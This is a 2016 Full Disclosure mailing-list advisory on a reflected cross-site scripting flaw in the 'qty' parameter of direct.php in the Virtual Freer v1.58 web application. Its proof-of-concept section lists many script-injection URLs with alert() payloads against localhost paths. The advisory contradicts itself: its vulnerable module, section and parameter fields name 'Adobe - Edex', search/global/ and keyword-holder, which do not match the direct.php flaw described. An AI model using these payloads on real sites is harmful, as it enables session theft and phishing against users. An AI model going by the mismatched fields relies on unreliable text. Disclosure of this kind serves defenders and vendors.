Date: Thu, 7 Apr 2016 10:19:31 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Virtual Freer v1.58 - Client Side Cross Site Scripting
	Vulnerability


Document Title:
===============
Virtual Freer v1.58 - Client Side Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1812


Release Date:
=============
2016-04-06


Vulnerability Laboratory ID (VL-ID):
====================================
1812


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
Ticket sales scripts free of charge and virtual products. Virtual Freer

(Copy of the Vendor Homepage: http://freer.ir/virtual/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a
client-side cross site scripting vulnerability in the official Virtual
Freer v1.58 web-application.


Vulnerability Disclosure Timeline:
==================================
2016-04-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Freer
Product: Virtual Freer - Service (Web-Application) 1.58


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered
in the official  Virtual Freer v1.58 web-application.
The web vulnerability allows to inject own malicious script codes to the
client-side of the vulnerable web-application module.

The client-side cross site scripting vulnerability is located in the
`direct.php` value of the `qty` file GET method request.
Remote attackers are able to inject client-side script codes to the qty
value of the direct.php file GET method request to
compromise session data. The attack vector of the issue is
non-persistent and the request method to inject is GET (client-side).

The security risk of the web vulnerabilityis estimated as medium with a
cvss (common vulnerability scoring system) count of 3.2.
Exploitation of the non-persistent web vulnerability requires no
privileged web application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session
hijacking, non-persistent phishing, non-persistent external redirects,
non-persistent load of malicious script codes or non-persistent web
module context manipulation.

Request Method(s):
                [+] GET

Vulnerable Module(s):
                [+] Adobe - Edex

Vulnerable Section(s):
                [+] search/global/

Vulnerable Parameter(s):
                [+] keyword-holder (keyword)


Proof of Concept (PoC):
=======================
The client-side cross site vulnerability can be exploited by remote
attackers without privileged web-application user account and with low
user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.

PoC: Example
http://localhost:8080/direct.php?card=[cartid]&qty=1"><script>alert(/document.cookie/)</script>


PoC: Exploitation
http://shop.localhost:8080/direct.php?card=19&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/Foroshgah/direct.php?card=21&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/direct.php?card=12&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/direct.php?card=5&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/shop/direct.php?card=1&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/shop/direct.php?card=7&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://shop.localhost:8080/direct.php?card=7&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://store.localhost:8080/direct.php?card=3&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/shop/direct.php?card=25&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/store/direct.php?card=19&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/pay/direct.php?card=22&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
https://localhost:8080/factor/direct.php?card=1&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/direct.php?card=12&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/direct.php?card=2&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://vip.localhost:8080/direct.php?card=44&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://localhost:8080/mellat2/direct.php?card=44&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E
http://shoping.localhost:8080/direct.php?card=24&qty=1%22%3E%3Cscript%3Ealert%28/xss%20testing/%29%3C/script%3E


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability
in the web-application is estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
Milad Hacking - (milad.hacking.blackhat@...il.com)
[http://fullsecurity.org]
[http://www.vulnerability-lab.com/show.php?user=Milad%20Hacking]
Thanks: Special thanks to: iliya Norton - Milad Hacking - Mohamad
Ghasemi - irhblackhat - Distr0watch - N3TC4T - Ac!D - Mr.G}{o$t  -
MRS4JJ4D  - Nazila Blackhat


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied,
including the warranties of merchantability and capability for a
particular purpose. Vulnerability-Lab or its suppliers are not liable in
any case of damage,
including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers
have been advised
of the possibility of such damages. Some states do not allow the
exclusion or limitation of liability for consequential or incidental
damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to
break any licenses, policies, deface websites, hack into databases or
trade with stolen data.

Domains:    www.vulnerability-lab.com         - www.vuln-lab.com        
                - www.evolution-sec.com
Contact:    admin@...nerability-lab.com     -
research@...nerability-lab.com                 - admin@...lution-sec.com
Section:    magazine.vulnerability-lab.com     -
vulnerability-lab.com/contact.php                 -
evolution-sec.com/contact
Social:        twitter.com/vuln_lab        -
facebook.com/VulnerabilityLab                 -
youtube.com/user/vulnerability0lab
Feeds:        vulnerability-lab.com/rss/rss.php     -
vulnerability-lab.com/rss/rss_upcoming.php             -
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php     -
vulnerability-lab.com/list-of-bug-bounty-programs.php     -
vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory. Permission to
electronically
redistribute this alert in its unmodified form is granted. All other
rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team
& the specific
authors or managers. To record, list, modify, use or edit our material
contact (admin@ or research@...nerability-lab.com) to get a ask permission.

                    Copyright © 2016 | Vulnerability Laboratory -
[Evolution Security GmbH]™




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@...nerability-lab.com



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists